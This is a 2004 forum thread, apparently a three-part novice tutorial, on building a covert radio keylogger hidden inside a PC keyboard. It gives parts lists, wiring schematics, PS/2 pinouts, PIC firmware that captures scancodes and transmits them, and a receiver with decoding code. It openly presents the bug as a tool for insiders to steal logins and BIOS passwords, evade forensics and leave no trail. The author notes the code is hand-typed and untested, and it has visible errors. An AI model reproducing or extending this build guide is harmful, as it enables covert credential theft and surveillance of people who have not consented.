• RSS
  • Twitter
  • FaceBook

Security Forums

Log in

FAQ | Search | Usergroups | Profile | Register | RSS | Posting Guidelines | Recent Posts

A novice guide to Homebrew data bugs...

Users browsing this topic:0 Security Fans, 0 Stealth Security Fans
Registered Security Fans: None
Post new topic   This topic is locked: you cannot edit posts or make replies.   Printer-friendly version    Networking/Security Forums Index -> Physical Security and Social Engineering

View previous topic :: View next topic  
Author Message
M3DU54
Trusted SF Member
Trusted SF Member


Joined: 11 May 2002
Posts: 1
Location: Las Palmas de Gran Canaria

Offline

PostPosted: Sun Aug 15, 2004 7:15 am    Post subject: A novice guide to Homebrew data bugs... Reply with quote

Homebrew digital taps (Part 1)
by M3DU54 of +44

Complete novice guide to remotely bugging keyboards, router consoles,
modems and more. Including neat wireless attacks on wired networks.



The project

We're all familiar with 'barrel' type keyloggers which are designed to look like a keyboard convertor. These are well known and have a number of limitations

Pros
- Easy and fast to apply
Cons
- More expensive than homebrew kit
- Easily found/identified/removed/stolen
- Require continuous physical access


Sometimes one may only have a single opportunity to approach the target machine and in such cases we need a keylogger which doesn't require any further access to recover the recorded keystrokes. Often this scenario would call for a software keylogger which either emails, transmits over IP or acts as a server. Unfortunately these are not always ideal

Pros
- Easy and fast to apply
- Do not require continued proximity
Cons
- Found/Identified by AV
- Found/Blocked by Firewalls
- Documented in traffic logs
- Easily removed, even inadvertently
- May leave trail back to attacker


So we're going to look at another alternative to conventional logging. Something that will evade a forensics expert. Its a variation on the audio bug which transmits keystroke data either realtime as the key is pressed or in scheduled concentrated bursts over the course of the day. Although these are harder to place than other logging techniques they are far more resilient, catch OS logins and BIOS passwords and don't leave any trail back to the attacker who does not require further access to the building (The rogue contractor, temp, or Disgruntled employees dream) They are also far cheaper (and thus more disposable) than most barrel loggers.

This device can be attached under the PS2 connector on the underside of the motherboard or, more often, placed inside a standard keyboard device.


Approaches

You could just broadcast everything off the wire but this means you have to do extra work at the receiving end - inserting the clock, synchronising and converting to ASCII. Although, this is undoubtedly the best method if you will be attaching directly to the PS2 connector on the mobo (You don't want chips hanging off it)

Another method is to use a PIC chip to watch both the clock and data lines
and strip off the serial framing, covert to ASCII and send. This method does carry the advantage that you can incorporate a simple XOR based scrambler (If you REALLY want to) or save keystrokes to a circular buffer and transmit the entire buffer space every hour or so - This is a nice touch if you can't hang around the bugged location all day.

I'll show you a basic form of the latter which we will later build upon as required.


Chipset

I've chosen, in this instance, to go with the TXM/RXM 433Mhz devices as they are ideal equipment to start on. Not the smallest devices but have almost no drift in frequency, are fairly inexpensive and (for now) quite easily sourced. Their pin count is higher than other devices (My favourite devices are 2 pin only) but they offer better wave shaping and therefore more reliable reception. Another bonus is that they can be ordered in matched pairs which simplifies construction and alignment considerably.

Max bitrate is 10kbps, useable distances up to 200M in raw form although distances of over 1km are quite attainable with tuned antennas.


Please bear in mind that this project is to raise awareness and encourage people to attempt their own devices, perhaps even as a first foray into electronics. This should be ideal if you wish to tap keyboards, cisco console ports, and other slow data. There are much better units with faster data rates and higher power that we can use to tap everything from modems to high speed fibrelinks. We will touch on these more capable devices but I feel that the design and construction issues place them beyond the scope of a novice.

One design factor remains for the constructor to decide. The TXM/RXM433 chips come in a number of flavours and packages. They are identified by their partcode which takes the form MMM-FFF-PP. Where:

MMM = The mode of operation. This will be either 'TXM' or 'RXM' depending on wether the unit is a transmitter or a receiver. I won't insult you by telling you which is which : )

FFF = The frequency. There are two frequencies available. The value here will be either '418' for the United Kingdom and '433' for the rest of europe.

PP = The package type. Here you will see LC, LR and a number of other values. Which you choose will depend very much on your needs. Some are TINY Surface Mount chips, some are SMT epoxy blobs, Some are the usual DIL size, etc... I normally use SMT but for the sake of construction we will use a SIL package which looks more like a miniature circuit board or 'riser' than a chip. If in doubt do not order by code - ask for a particular package shape. Note that although the ones we will be using in this guide are SIL packages they are perfectly compatible with any of the other packages (although pin numbering changes)



Above: SIL packages (Smaller one is transmitter)


Also in the project we will be using the popular MAX233 serial IC and a PIC16F84 microcontroller. These can be found anywhere and represent great value for money. In actual fact, one could use the much smaller 8-pin 508A chip (And for the basic project I'd suggest it) but the 18F84's are so much more versatile and theres more chance that the reader may already have one lying around.


Parts list

Transmitter
1 - TXM418 or TXM433 (SIL format)
1 - PIC16F84 (DIL format)
1 - 10Mhz XTAL
3 - 4k7 resistors

Receiver
1 - RXM418 or RXM433 (SIL format)
1 - MAX233 or MAX233A (DIL format)
1 - DB9 female connector (Or a DB25 if you prefer)
1 - 200 Ohm resistor



Lets build a transmitter

The transmitter will be built on stripboard, PCB (or even just mounted thru plastic, glued and wired on the reverse) and will connect to the outside world (In this case the keyboard cable) using just three pins. Two supply voltage and ground, the other is the data line (which carries keypresses to the computer)

Before we start we should identify the components and ensure that the PIC chip is correctly oriented so that pin number 1 (with the dot) is in the upper left. The pins are numbered 1-9 down the left side (from top to bottom) and 10 to 18 up the right side (from bottom to top)

Lets also identify the TXM module. It is the module with 5 pins. We will orientate it as shown below and number the pins 1 to 5 (from left to right)


Above: The TXM module

Now all we need to know is how to wire them all together. Take some time to examine the schematic below. The circuit really is this simple, don't you just love prebuilt/tested/calibrated modules ?

Code:

Antenna*
  \|/   ________________________
   |   | /  \                   |
   |   ||    | TXM (SIL) Module |
   |   |_\__/___________________|
   |     |1 |2         |3 |4 |5   
   |     |  |          |  |  |   
   |        |          |  +--|-------------------------------------> GND
   |        |          |     |    __________           
   |        |          |     |   |@         |           
   |        |          |     +--[|1       18|]------------+--------> CLOCK
   +--------+          |        [|2       17|]------------|---+----> DATA
                       |        [|3       16|]-/10Mhz\    |   |
                       +-[4.7k]-[|4  PIC  15|]-\XTAL /    |   |
                       +--------[|5 16F84 14|]------------|---|----> GND
                       |        [|6       13|]            |   |
                       |        [|7       12|]         [4.7k] |
                       |        [|8       11|]            |   |
                       |        [|9       10|]            | [4.7k]
                       |         |__________|             |   |
                       |                                  |   |
                       +----------------------------------+---+----> +5v

*Antenna construction and placement will be covered later.


Now we have to make the connection to the keyboard cable itself. For that we need to take a quick peek at the pinout.

PS2 keyboards (6 pin mini-DIN)

1 - Data
3 - Ground
4 - Vcc (+5V)
5 - Clock
(pins 2 & 6 are not used)

AT/XT keyboards (5 pin DIN)

1 - Clock
2 - Data
4 - Ground
5 - Vcc (+5V)
(pin 3 is not used)

So, we just wire up our GND(s) to the KBs ground, our +5v to the KBs Vcc, and then wire up our CLOCK and DATA lines too. Thats all the hardware sorted.


Firmware

The true beauty of the design I've given you is that its not a dumb bug, we've incorporated some programmable logic into the unit too. So, before we can use this device we're going to have to breath a little life into it first. Normally I'd use ASM for this but since this is a beginners project we're going to use C. Sure, I could have given you a hex dump or ASM source but the power of this bug is its programmable nature leading to many exiting variations and I don't want anyone to miss out on some fun experimentation simply because they can't code in PIC ASM ; )


Lets take a peek at some VERY BASIC sourcecode just to get this transmitter up and on the air :D
Code:

#include <16F84A.h>
#use delay(clock=10000000)
#fuses NOWDT,HS, NOPUT, NOPROTECT
#use rs232(baud=1200,parity=N,xmit=PIN_A2,rcv=PIN_A3,bits=9)

void clockwait(void);

void main()
{
   unsigned char byt;   // Holds each byte received

   setup_counters(RTCC_INTERNAL,RTCC_DIV_1);

   while(1)         // Loop forever...
   {
      byt=0;         // Starting a new data frame

      clockwait();      // Ignore start bit
      for(t=0;t<8;t++)      // Grab eight bits of data...
      {
         clockwait();
            byt|=input(PIN_A0)<<t;
      }
      clockwait();         // Ignore parity bit
      clockwait();      // Ignore stop bit

      putc(byt);         // Send byte to the transmitter

   }            // ... rinse and repeat :)
}

clockwait()
{
   // Waits for the next clock cycle...
      while(!input(PIN_A1));   // Wait for clock to go HI
      while(input(PIN_A1));   // Wait for clock to go LO
}



Okay, what does this initial firmware actually do ? Well, it watches the CLOCK wire of the keyboard interface and on each cycle it examines the state of the DATA line to get the value of the next bit. It does this forever.



We don't use ALL of the bits that we see on the keyboard cable. This is because each byte of data (8 bits) is wrapped in a further 3 bits of rudimental synchronising and error-checking called 'framing'. This means that for each byte of data we are actually reading an 11 bit frame and discarding 3 of those bits.


Heres how frame looks, and how we currently treat it ...

-The first bit the program sees is a 'START' bit and is currently ignored. The start bit indicates the start of a data frame.

-The next eight bits are the actual data to be sent, these are collected, formed into a byte and stored in the variable 'byt'

-The next bit is a parity bit and is used for error checking, we don't use this.

-The last bit is the stop bit and marks the end of the data frame. This is also currently ignored.


Once the frame is collected the command putc(byt); sends the data byte (from the variable 'byt') to the transmitters DATA line for transmission.
The directive '#use rs232(baud=1200,parity=N,xmit=PIN_A2,rcv=PIN_A3,bits=9)' tells the PIC to use A2(pin 1) for sending and A3(pin 2) for receiving ...although, we never use pin 2 : ) Thats how getc() and putc() know which pin to send and receive data.


The problem is that the data we are sending is NOT ASCII, it is something known as a 'scancode' which is actually far more useful than ASCII (at least, in a keylogger) as they tell us about not only the keys being pressed but also the keys being released. Unlike ASCII, which deals mainly with printable and formatting characters, scancodes even tell us about [LEFT-SHIFT],[RIGHT-SHIFT], [CTRL], [ALT], [ALT-GR], etc... and if your keyboard has [www], [email], [volume+], [volume-] buttons it will collect these too : )

Another thing to note about scancodes is that sometimes an event is signified by as many as three bytes. In ASCII each byte corresponds to one complete character.


Wrapping up this section

Here is a list of scancodes we will be broadcasting. Unfortunately you will have to wait till tomorrow to find out how to receive these scancodes and display them on your PC - If you have a scanner though, you will be able to tune in to the frequency of your device 433mhz or 418mhz and hear it chirping away with each key you press.


Next...

Tomorrow we will build the receiver (Its even simpler as there is no PIC involved) and will 'tune in' to our data bug for the first time. : )

Then, in the last part of this guide, we will briefly explore a things you can do with this basic setup including scheduled data bursts, sending in ASCII, monitoring the keypresses without a PC and take a brief look at attacking wired networks remotely with one-way or two-way taps sitting on fibre, ethernet, inside wall sockets, in the conduit... etc.


At the end I will link manufacturer datasheets for many of the devices used and any appropriate sources of useful information.


M3Dz
Back to top
View user's profile Send private message
M3DU54
Trusted SF Member
Trusted SF Member


Joined: 11 May 2002
Posts: 1
Location: Las Palmas de Gran Canaria

Offline

PostPosted: Wed Aug 18, 2004 6:21 pm    Post subject: Reply with quote

Homebrew digital taps (Part 2)
by M3DU54 of +44

Complete novice guide to remotely bugging keyboards, router consoles,
modems and more. Including neat wireless attacks on wired networks.



The story so far...

Ok, we've built a wireless bug based around a PIC microcontroller and a TXM module and perhaps built it into a keyboard. We've programmed the PIC to grab keyboard scancodes from the wire, strip the framing bits, and transmit bytes out the transmitter. But what use is all this without a receiver ?

Today we're going to build a simple receiver based on the parts list presented in yesterdays article. We're going to analyse the data received and turn it back into an intelligible format on a PC.

We're also going to take a look at antenna design for both transmitter and receiver because a bad antenna will have dire consequences on signal strength and thus useable range. The antenna really is the most critical part of the system.



Parts list

Receiver
1 - RXM418 or RXM433 (SIL format)
1 - MAX233 or MAX233A (DIL format)
1 - DB9 female connector (Or a DB25 if you prefer)
1 - 200 Ohm resistor
1 - 10k resistor


Lets build the receiver

As before, lets start out by taking a look at out components. First locate the RXM module (It's larger than the TXM with 7 pins instead of 5) and place it in front of us as shown in the picture.


The 7-pin RXM (SIL package)

We number the RXMs pins 1 to 7 from left to right. Pins 1 and 2 being located on the left side of the module and pins 3 through 7 located on the right. The pin allocations are as follows:

1 Antenna
2 RF GND

3 DETECT
4 GND
5 VCC (+5v)
6 ANALOGUE OUT
7 DATA OUT

Some of these may need a little explanation. DATA OUT, GND, VCC and ANTENNA are pretty much self explanatory, in fact they closely mirror the equivalent pins of the TXM we used yesterday.

ANALOGUE OUT is, as you may guess, an analogue version of the data output from pin 7. We're not going to use this but it could be used to provide an audible confirmation of the transmitter - or, if we were sending, say, DTMF touchtones we could feed this into a DTMF decoder.

DETECT provides carrier detection capabilities, basically it lets us know wether we are in range of the receiver. The basic unit will not use this, although I might touch on its use later. When not in use we should use a resistor to 'pull it up' to the +5v rail.


MAX233

The MAX233/MAX233A is a serial interface in a 20pin DIL format. With the chip oriented so that the dot is in the top left corner, pins 1-10 run down the left hand side (From top to bottom) and pins 11 to 20 run up the right hand side (from bottom to top)

This is a useful chip because it will happily convert TTL/CMOS input to an RS-232 output which is going to be quite important to us. The received data we get from our RXM module will be 0v to 5v, representing a zero or one respectively. Unfortunately we cannot just fire this output down a serial cable because RS-232 requires -v to +v signals, not 0v to +v signals. This chip performs the conversion required to drive a serial line and you will see it in MANY projects from programmers to serial-controlled robots.

As a pointless sidenote: The 'RS' in RS-232 stands for 'Recommended Standard' and denotes that this is NOT an official standard. In actual fact RS-232 standard has been made official is now more correctly referred to as 'EIA/TIA-232'. Yeah, I know - I'd rather just say 'RS-232' too.


Okay, now that you know more than you wanted to about serial interface standards we can get on with the project. Lets put the receiver together.

Code:

Antenna
  \|/   _____________________________
   |   | /  \                        |
   |   ||    | RXM (SIL) Module      |
   |   | \__/                        |
   |   |                             |
   |   |_____________________________|
   |     |1 |2         |3 |4 |5 |6 |7   
   |     |  |          |  |  |  |  |    __________           
   |        |          |  |  |     |   |@         |           
   |        |        [R2] | [R1]   +--[|1       18|]---------+
   +--------+          |  |  |        [|2       17|]         |
                       |  |  |        [|3       16|]   ------|-------------
                       |  |  |        [|4  MAX  15|]   \ O1  O2  O3  O4  O5/
                       |  |  |        [|5  233  14|]    \      DB-9       /
                       |  +--|--------[|6       13|]     \ O6  O7  O8  O9/
                       |  |  +--------[|7       12|]      -------------|-
                       |  |  |        [|8       11|]                   |
                       |  +--|--------[|9       10|]                   |
                       |  |  |         |__________|                    |
                       |  |  |                                         |
                       +--|--+-----------------------------------------|-> +5V
                          |                                            |
                          |                                            |
                          |                                            |
                          +--------------------------------------------+-> GND
R1 = Resistor 200 Ohm
R2 = Resistor 10k




Power problems

Unfortunately we cannot find 5v power from the serial port. That means that this unit must be powered by either a battery or by connecting to a suitable source on the PC itself... for example, we could use the keyboard connector for power (as we did in the transmitter section) - Of course, this is messy (Unless you are on a laptop and have an 'extension keyboard' socket which is unused)

When I do this myself I create a USB based receiver and this resolves the power issue (USB carries a +5v line). The problem is that it is a little more tricky in the construction and I really want this to be accessible to the novice. For those of you that would rather have a USB powered device you're going to have to wait till tomorrow and I'll throw in various modifications to this basic serial setup.

In fact, if you're lucky I might throw in a modification to turn this into a handheld unit with a pretty backlit LCD display.


Going for the first test

Plug the unit into the serial port, open up hyperterminal, and select 2400,8,N,1 on COM1 or COM2 (Whichever serial you have the device connected to) and sit back as hyperterminal displays all the keypresses...

... umm, not quite. Just getting garbage ?

Good, everything is working fine, lol. Remember in the previous article we talked about scancodes ? I gave you a link to a list of scancodes and it is those scancodes that you are seeing in hyperterminal! Now, I'm assuming that most of you can't convert scancodes to ASCII in your head so somewhere along the line we're going to have to do some conversion.


We have two choices:

- We can write a little program that reads scancodes from the receiver and displays them + logs them to file.

- We can alter our bugs firmware to send ASCII instead of the keyboards scancodes and then we can make sense of our receivers output in hyperterminal.

In typical M3DU54 fashion we're gonna do both. By doing both I introduce the novice to programming for the windows serial ports, and we also get to have another poke around with the PIC firmware. Deep Joy! By the time you've finished this you're gonna be knocking out digital devices like a pro : )



Option 1 - Firmware ASCII Conversion

In this option we will be converting the bug to transmit ASCII instead of scancodes. This will result in us being able to use the receiver without installing any special software. Lets first remind ourselves of the dispatching line on our PICs firmware.

Code:
   putc(byt);         // Send byte to the transmitter

Remember this command ? It fires each scancode to the transmitter. Guess its time to make a few changes :

Code:

void main()
{
      --snip--

      putc(toASCII(byt));      // Send byte to the transmitter

      --snip--
}

void toASCII(unsigned char scancode)
{
   unsigned char asciicode;

   asciicode = 0;

   // Since we are only converting 10 keys we can use a switch
   // statement - For many keys it would seem more efficient to
   // use a lookup table however our onboard RAM is VERY limited
   // (we have a miniscule 68 bytes total RAM, tiny huh?)
   switch(scancode)
   {
      case 0x45:   asciicode = '0';   break;
      case 0x16:   asciicode = '1';   break;
      case 0x1E:   asciicode = '2';   break;
      case 0x26:   asciicode = '3';   break;
      case 0x25:   asciicode = '4';   break;
      case 0x2E:   asciicode = '5';   break;
      case 0x36:   asciicode = '6';   break;
      case 0x2D:   asciicode = '7';   break;
      case 0x3E:   asciicode = '8';   break;
      case 0x46:   asciicode = '9';   break;

      default:   asciicode = '?';
   }

   return asciicode;
}


Now when I type the numbers '123' I get the following output in hyperterminal :
1?12?23?3

Why? Well, when I Press [1] the scancode generated is '16h' but when I release the [1] key TWO scancodes are generated 'F0h 16h'. This results in the sequence '16 F0 16'. Since we are converting number keys into their ASCII equivalents (And anything else into '?') we see '1?1' in hyperterminal. If we press '123' therefore, we see '1?12?23?3'

Obviously there must be a better way. Even if we ignore 'F0' we're still seeing each key twice. Once as it is pressed and again as it is released.

Lets take a good look at the scancode table and see how we can best solve the problem. It would appear that whenever we see an 'F0' (key released) we should read another byte to find out which key. Also, whenever we see an 'E0' we should remember that the following data regards an 'extended key' and read another one byte (key pressed) or two bytes (key released) further to find out which key. It is apparent that we cannot translate one byte at a time.

For example, you could do the following :

Code:

#include <16F87.h>
#use delay(clock=10000000)
#fuses NOWDT,HS, NOPUT, NOPROTECT
#use rs232(baud=1200,parity=N,xmit=PIN_A2,rcv=PIN_A3,bits=9)

// Prototypes
void clockwait(void);
void ProcessCompleteEvent(void);

void main()
{
   setup_counters(RTCC_INTERNAL,RTCC_DIV_1);

   while(1) // Loop forever...
   {
      ProcessCompleteEvent();   // Process and transmit complete key events
   }

}

void ProcessCompleteEvent(void)
{
   unsigned char BYT;   // Holds the last byte read   
   unsigned char FLG;   // Flags to indicate EO, FO
   unsigned char t;   // General counter

   //
   // Significance of each bit of the FLG byte :
   // 128 - COMPLETE (We have the complete scancode)
   // 64  - no significance
   // 32  - no significance
   // 16  - no significance
   // 8   - no significance
   // 4   - no significance
   // 2   - EXTENDED (BYT was preceeded with E0)
   // 1   - RELEASED (BYT was preceeded with F0)


   // Start with a clean slate
   FLG = 0;


   ////////////////////////////////////////
   //  Grab an entire scancode sequence  //
   //  including preceeding E0, F0 bytes //
   ////////////////////////////////////////

   // Repeat until the key is complete ...
   while(!FLG & 128)
   {


      /////////////////////////////////////////
      // GET THE NEXT BYTE FROM THE KEYBOARD //
      //                                     //
      // This code should look very familiar //
      // as it is unchanged from last time   //
      /////////////////////////////////////////

      BYT = 0;         // Starting a new data frame

      clockwait();      // Ignore start bit
      for(t=0;t<8;t++)      // Grab eight bits of data...
      {
         clockwait();
            BYT|=input(PIN_A0)<<t;
      }
      clockwait();      // Ignore parity bit
      clockwait();      // Ignore stop bit


      ///////////////////////////////////
      // WHAT TYPE OF BYTE IS THIS ??? //
      ///////////////////////////////////

      switch (BYT)
      {
         case 0xF0 :
            FLG |= 1;   // Set the RELEASED bit
            break;
         case 0xE0 :
            FLG |= 2;   // Set the EXTENDED bit
            break;
         default :
            FLG |= 128;   // Set the COMPLETE bit
      }
   }

   /////////////////////////////////////////////////////
   //  Once we get to here the key is in BYT and the  //
   //  FLG variable reflects any E0 or F0 modifiers.  //
   /////////////////////////////////////////////////////

   // Is this an EXTENDED key ?
   if(FLG & 2)
   {
      ////////////////////////////////////////
      // HERE WE PROCESS EXTENDED (E0) KEYS //
      ////////////////////////////////////////

      // enclose in square brackets (start)
      putc('[');

      // Was keypress Down or Up
      if(FLG & 1)
      {
         // Keys we send on UP messages
         switch (BYT)
         {
            // Output the name of the key released...
            case 0x14 : puts ("R_CTRL UP");break;
            case 0x11 : puts ("R_ALT UP"); break;

            default : puts("??? UP"); // Unknown key released
         }
      }
      else
      {
         // Keys we ONLY send on DOWN messages
         switch (BYT)
         {
            // Output the name of the key pressed...
            case 0x14 : puts ("R_CTRL");   break;
            case 0x11 : puts ("R_ALT");   break;

            case 0x7C : puts ("PRINT");   break;
            case 0x70 : puts ("INS");   break;
            case 0x6C : puts ("HOME");   break;
            case 0x7D : puts ("PG_UP");   break;
            case 0x71 : puts ("DEL");   break;
            case 0x69 : puts ("END");   break;
            case 0x7A : puts ("PG_DN");   break;
            case 0x75 : puts ("UP");   break;
            case 0x6B : puts ("LEFT");   break;
            case 0x72 : puts ("DOWN");   break;
            case 0x74 : puts ("RIGHT");   break;
            case 0x4A : puts ("KP_/");   break;
            case 0x5A : puts ("KP_ENTER");break;
            case 0x37 : puts ("POWER");   break;
            case 0x3F : puts ("SLEEP");   break;
            case 0x5E : puts ("WAKE");   break;

            default : puts("???"); // Unknown key pressed
         }
      }

      // enclose in square brackets (end)
      putc(']');   
   }
   else
   {
      ////////////////////////////////////////////////
      // HERE WE PROCESS NON-EXTENDED (non-E0) KEYS //
      ////////////////////////////////////////////////

      // Was keypress Down or Up
      if(FLG & 1)
      {
         // Keys we send on UP messages
         switch (BYT)
         {
            // Output the name of the key released...
            case 0x59 : puts ("[R_SHIFT UP]");   break;
            case 0x12 : puts ("[L_SHIFT UP]");   break;
            case 0x14 : puts ("[L_CTRL UP]");   break;
            case 0x11 : puts ("[L_ALT UP]");   break;

            default : puts("[? UP]"); // Unknown key released
         }
      }
      else
      {
         // Keys we ONLY send on DOWN messages
         switch (BYT)
         {
            // Output the name of the key pressed...
            case 0x59 : puts ("[R_SHIFT]");break;
            case 0x12 : puts ("[L_SHIFT]");break;
            case 0x14 : puts ("[L_CTRL]"); break;
            case 0x11 : puts ("[L_ALT]");    break;

            case 0x45 : putc ('0');   break;
            case 0x16 : putc ('1');   break;
            case 0x1E : putc ('2');   break;
            case 0x26 : putc ('3');   break;
            case 0x25 : putc ('4');   break;
            case 0x2E : putc ('5');   break;
            case 0x36 : putc ('6');   break;
            case 0x3D : putc ('7');   break;
            case 0x3E : putc ('8');   break;
            case 0x46 : putc ('9');   break;

            case 0x1C : putc ('A');   break;
            case 0x32 : putc ('B');   break;
            case 0x21 : putc ('C');   break;
            case 0x23 : putc ('D');   break;
            case 0x24 : putc ('E');   break;
            case 0x2B : putc ('F');   break;
            case 0x34 : putc ('G');   break;
            case 0x33 : putc ('H');   break;
            case 0x43 : putc ('I');   break;
            case 0x3B : putc ('J');   break;
            case 0x42 : putc ('K');   break;
            case 0x4B : putc ('L');   break;
            case 0x3A : putc ('M');   break;
            case 0x31 : putc ('N');   break;
            case 0x44 : putc ('O');   break;
            case 0x4D : putc ('P');   break;
            case 0x15 : putc ('Q');   break;
            case 0x2D : putc ('R');   break;
            case 0x1B : putc ('S');   break;
            case 0x2C : putc ('T');   break;
            case 0x3C : putc ('U');   break;
            case 0x2A : putc ('V');   break;
            case 0x1D : putc ('W');   break;
            case 0x22 : putc ('X');   break;
            case 0x35 : putc ('Y');   break;
            case 0x1A : putc ('Z');   break;

            case 0x29 : puts (" ");   break;
            case 0x0D : puts ("[TAB]");   break;
            case 0x5A : puts ("[ENTER]");   break;
            case 0x76 : puts ("[ESC]");   break;

            case 0x05 : puts ('[F1]');   break;
            case 0x06 : puts ('[F2]');   break;
            case 0x04 : puts ('[F3]');   break;
            case 0x0C : puts ('[F4]');   break;
            case 0x03 : puts ('[F5]');   break;
            case 0x0B : puts ('[F6]');   break;
            case 0x83 : puts ('[F7]');   break;
            case 0x0A : puts ('[F8]');   break;
            case 0x01 : puts ('[F9]');   break;
            case 0x09 : puts ('[F10]');   break;
            case 0x78 : puts ('[F11]');   break;
            case 0x07 : puts ('[F12]');   break;

            // ETC...  (ADD THE REST YOURSELF, SYMBOLS ETC)
            //
            // Why?  Because scancodes indicate a key position
            // not a specific meaning - Therefore keyboards may
            // vary.  Normally this doesn't matter because the
            // PC uses a 'codepage' to translate between scancode
            // and ASCII but we are hardcoding KB specific values.

            default : puts("[?]"); // Unknown key pressed
         }
      }
   }

   return;
}

void clockwait(void)
{
   // Waits for the next clock cycle...
      while(!input(PIN_A1));   // Wait for clock to go HI
      while(input(PIN_A1));   // Wait for clock to go LO
}


(note: code is hand typed and therefore untested - You may have to clean it up - bugs undoubtedly exist) You will also notice that it is essentially one large routine - You should generally resist the temptation to break things up into too many smaller functionally cohesive steps - the PIC only has 8 levels of stack and so we have to keep our code quite flat - C isn't the most friendly code to run on a low-end PIC.

Also note that this code is compiled for the 16F87 whereas our other code was written for the 16F84 ... Switch statements take a LOT of space (As do tables) and this simply wouldn't fit in the previous 16F84 which has only a quarter of the memory of our spanky new 16F87.

How much is this new memory gonna cost us ? Well, I knew you were gonna ask that so I went away to check - It seems the 16F87 is actually around half the price despite having an extra 3 IO lines - yeah, I can't work that one out either ; ) If you've already bought a dozen 16F84s feel free to mutter obcenities in my general direction.



If you now power up your receiver you will see the output like the following in your hyperterminal:

[TAB][R-SHIFT]I[R-SHIFT UP]'M TIRED OF TYPING[R-SHIFT]111[R-SHIFT UP] which is, of course, 'I'm tired of typing!!!' We could tell the firmware to remember when the SHIFT key is down and output upper/lower case and number/symbol accordingly. However, I leave that as a simple challenge for the reader, it really isn't difficult.

Phew! I really should apologise for the length of that. But what the hell.


Option 2 - Software ASCII Conversion

Okay, lets say we'd rather just send plain scancodes over the air and translate on our laptop. This has several benefits. It means that we can use one bug regardless of the keyboards codepage/language and simply switch between codepages on the receiving machine as required. It also has a number of shortcommings, particularly in that we need custom software running on the receiving machine.

The chances are, however, that your receiving PC supports the same codepage as the target machine and so we can use a handy lookup feature that is provided by windows. After all, why reinvent the wheel - windows already knows how to translate between scancodes and ASCII.


Translating to ASCII on PC

This code (courtesy of GameDev.net) shows how easy scancode-ASCII conversion is on the local machine. As you can see, its

Code:

static int ScanToAscii(DWORD scancode, ushort* result)
{
   static HKL layout=GetKeyboardLayout(0);
   static uchar State[256];

   if (GetKeyboardState(State)==FALSE)
      return 0;

   UINT vk=MapVirtualKeyEx(scancode,1,layout);

   return ToAsciiEx(vk,scancode,State,result,0,layout);
}


Much easier than translating on the PIC chip I think you'll agree. As for the functions used 'GetKeyboardLayout' is quite self explanatory, 'GetKeyboardState' retrieves the state of the LOCAL machines keyboard and can therefore be left out without affecting the functionality greatly, 'MapVirtualKeyEx' will give us a win32 virtual key which we feed into the 'ToAsciiEx()' function which will spit out 0 - 2 extended ASCII characters. These characters are returned in the 'result' parameter.

return values:
n = Number of characters returned
0 = No conversion performed

The actual characters returned will be placed in 'result' and, under most circumstances, can be retrieved with char(result[0]) - except on multibyte character sets.


Having said this, you can always just re-implement the same extensive switch() routines that we used previously in the firmware version. The choice is yours.


So, all that remains is to look at capturing data from the serial port. If you've never programmed for the serial port before then I'd suggest downloading one of the many free serial port libraries available or, if using Visual Studio, one can simply use the MSCOMM control which is well documented and very easy to use.


Apologies

I was going to discuss antenna design with you but I don't think I should make todays article any larger than it already is. For now just use 32-34cm of wire laid in a straight line inside the keyboard case. This will give a decent strength signal even without a groundplane.

I will try to squeeze antenna considerations into the next article because it really is quite an important factor.


Next time

In what should be the last part of this guide we will briefly explore exciting things you can do with this basic setup including scheduling data bursts, monitoring the keypresses without a PC (building ourselves a handheld LCD keysniffer) and other neat stuff.

We will also take a look at some of the higher end devices and how we can use the same techniques to place private 2-way point-to-point wireless taps into wired networks. I will be showing a simple conversion to allow all our receivers can be made into USB-powered units rather than a unpowered serial units.

Finally we take a peek at some interesting extensions to the theme using cellular telephony.


Well, just have to see how much space I have : )


M3Dz
Back to top
View user's profile Send private message
M3DU54
Trusted SF Member
Trusted SF Member


Joined: 11 May 2002
Posts: 1
Location: Las Palmas de Gran Canaria

Offline

PostPosted: Sun Aug 22, 2004 9:24 pm    Post subject: Reply with quote

Homebrew digital taps (Part 3)
by M3DU54 of +44

Complete novice guide to remotely bugging keyboards, router consoles,
modems and more. Including neat wireless attacks on wired networks.



Where do we go from here?

We've successfully built a transmitter and receiver pair at 418 or 433Mhz and programmed some translation service between scancodes and ASCII into either the firmware device, or on the receiving machine. What next?

A few extra capabilities have been mentioned and I would like to take a little time to examine them here. I'll start with some of the more obvious expansions of the existing technology and then break out into other devices and applications.


RXer Modification 1 - Obtaining power from the serial port

Remember I told you that you can't power the receiver from the serial port. Well, thats only a half truth. There ARE ways to derive power from the serial ports but the current (and voltage after applying load) will vary depending on the target hardware. Its not something I have tried, nor is it something I would encourage.

If you ARE interested in this then Tomi Engdahl has an excellent article on the subject >here<. Just be aware that you do this at your peril and the results may not be worthwhile.


RXer Modification 2 - Conversion to USB

So far our receiver has been limited to using a serial connection to the host machine, this leaves us having to power the receiver using either a battery, stealing power from the keyboard line (Which is hardly ideal) or attempting to subvert power from the RS232's DTR/RTS and TD lines (As above)

I'd like to introduce you to USB which has the advantage of being able to also supply power to the device whilst retaining a single connection to the host. As usual, this will be accompanied by my usual low standard of ascii schematics.


Devices introduction

I was going to give you the full schematic for building your own budged USB serial interface built around the FTDI FT8U232AM device but the small package profile is tricky for the novice to solder. Again, prebuilt modules come to our aid in the form of Elexols USBMOD range.


Typical Elexon USBMOD module

As you see, the entire USB circuit is already mounted to a PCB. Furthermore the whole unit takes the pin form of a DIL IC making soldering/mounting a simple affair for even the most cack-handed of novices.


Building the USB interfaced receiver

As usual lets start off by numbering the pins. Place the device in front of you with the USB connector facing away from you. The pins are numbered from 1 to 16 down the left side (from top to bottom) and 17 to 32 up the right side (from bottom to top). Not that two pins are missing on each side. These missing pins are in the 3, 4, 29 and 30 positions. So, if I refer to 'pin 3' then you know I've messed up somewhere ; )

Heres how we originaly wired up to the RS-232...
Code:

Antenna
  \|/   _____________________________
   |   | /  \                        |
   |   ||    | RXM (SIL) Module      |
   |   | \__/                        |
   |   |                             |
   |   |_____________________________|
   |     |1 |2         |3 |4 |5 |6 |7   
   |     |  |          |  |  |  |  |    __________           
   |        |          |  |  |     |   |@         |           
   |        |        [R2] | [R1]   +--[|1       18|]---------+
   +--------+          |  |  |        [|2       17|]         |
                       |  |  |        [|3       16|]   ------|-------------
                       |  |  |        [|4  MAX  15|]   \ O1  O2  O3  O4  O5/
                       |  |  |        [|5  233  14|]    \      DB-9       /
                       |  +--|--------[|6       13|]     \ O6  O7  O8  O9/
                       |  |  +--------[|7       12|]      -------------|-
                       |  |  |        [|8       11|]                   |
